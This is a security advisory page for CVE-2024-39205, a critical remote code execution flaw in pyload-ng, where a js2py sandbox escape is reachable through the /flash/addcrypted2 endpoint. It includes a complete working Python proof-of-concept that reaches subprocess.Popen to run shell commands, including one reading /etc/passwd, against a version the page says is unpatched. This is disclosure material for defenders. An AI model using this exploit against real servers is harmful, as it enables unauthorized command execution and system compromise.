Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS1yOXBwLXI0eGYtNTk3cs4AA_YT

pyload-ng vulnerable to RCE with js2py sandbox escape

Summary

Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.

Details

js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.

PoC

The PoC is provided as poc.py below, you can modify the shell command it execute:

import socket
import base64
from urllib.parse import quote

host, port = input("host: "), int(input("port: "))

payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
    return n11
}

"""

crypted_b64 = base64.b64encode(b"1234").decode()

data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"

request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}

{data}
""".encode().replace(b"\n", b"\r\n")

def main():

    s = socket.socket()
    s.connect((host, port))

    s.send(request)
    response = s.recv(1024).decode()
    print(response)

if __name__ == "__main__":
    main()


Impact

Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.

Permalink: https://github.com/advisories/GHSA-r9pp-r4xf-597r
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOXBwLXI0eGYtNTk3cs4AA_YT
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: 4 months ago
Updated: 3 months ago


CVSS Score: 9.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS Percentage: 0.00045
EPSS Percentile: 0.17541

Identifiers: GHSA-r9pp-r4xf-597r, CVE-2024-39205
References: Repository: https://github.com/pyload/pyload
Blast Radius: 0.0

Affected Packages

pypi:pyload-ng
Dependent packages: 1
Dependent repositories: 1
Downloads: 4,697 last month
Affected Version Ranges: <= 0.5.0b3.dev85
No known fixed version
All affected versions: 0.5.0-a5.dev528, 0.5.0-a5.dev532, 0.5.0-a5.dev535, 0.5.0-a5.dev536, 0.5.0-a5.dev537, 0.5.0-a5.dev539, 0.5.0-a5.dev540, 0.5.0-a5.dev545, 0.5.0-a5.dev562, 0.5.0-a5.dev564, 0.5.0-a5.dev565, 0.5.0-a6.dev570, 0.5.0-a6.dev578, 0.5.0-a6.dev587, 0.5.0-a7.dev596, 0.5.0-a8.dev602, 0.5.0-a9.dev615, 0.5.0-a9.dev629, 0.5.0-a9.dev632, 0.5.0-a9.dev641, 0.5.0-a9.dev643, 0.5.0-a9.dev655, 0.5.0-a9.dev806, 0.5.0-b1.dev1, 0.5.0-b1.dev2, 0.5.0-b1.dev3, 0.5.0-b1.dev4, 0.5.0-b1.dev5, 0.5.0-b2.dev9, 0.5.0-b2.dev10, 0.5.0-b2.dev11, 0.5.0-b2.dev12, 0.5.0-b3.dev13, 0.5.0-b3.dev14, 0.5.0-b3.dev17, 0.5.0-b3.dev18, 0.5.0-b3.dev19, 0.5.0-b3.dev20, 0.5.0-b3.dev21, 0.5.0-b3.dev22, 0.5.0-b3.dev24, 0.5.0-b3.dev26, 0.5.0-b3.dev27, 0.5.0-b3.dev28, 0.5.0-b3.dev29, 0.5.0-b3.dev30, 0.5.0-b3.dev31, 0.5.0-b3.dev32, 0.5.0-b3.dev33, 0.5.0-b3.dev34, 0.5.0-b3.dev35, 0.5.0-b3.dev38, 0.5.0-b3.dev39, 0.5.0-b3.dev40, 0.5.0-b3.dev41, 0.5.0-b3.dev42, 0.5.0-b3.dev43, 0.5.0-b3.dev44, 0.5.0-b3.dev45, 0.5.0-b3.dev46, 0.5.0-b3.dev47, 0.5.0-b3.dev48, 0.5.0-b3.dev49, 0.5.0-b3.dev50, 0.5.0-b3.dev51, 0.5.0-b3.dev52, 0.5.0-b3.dev53, 0.5.0-b3.dev54, 0.5.0-b3.dev57, 0.5.0-b3.dev60, 0.5.0-b3.dev62, 0.5.0-b3.dev64, 0.5.0-b3.dev65, 0.5.0-b3.dev66, 0.5.0-b3.dev67, 0.5.0-b3.dev68, 0.5.0-b3.dev69, 0.5.0-b3.dev70, 0.5.0-b3.dev71, 0.5.0-b3.dev72, 0.5.0-b3.dev73, 0.5.0-b3.dev74, 0.5.0-b3.dev75, 0.5.0-b3.dev76, 0.5.0-b3.dev77, 0.5.0-b3.dev78, 0.5.0-b3.dev79, 0.5.0-b3.dev80, 0.5.0-b3.dev81, 0.5.0-b3.dev82, 0.5.0-b3.dev85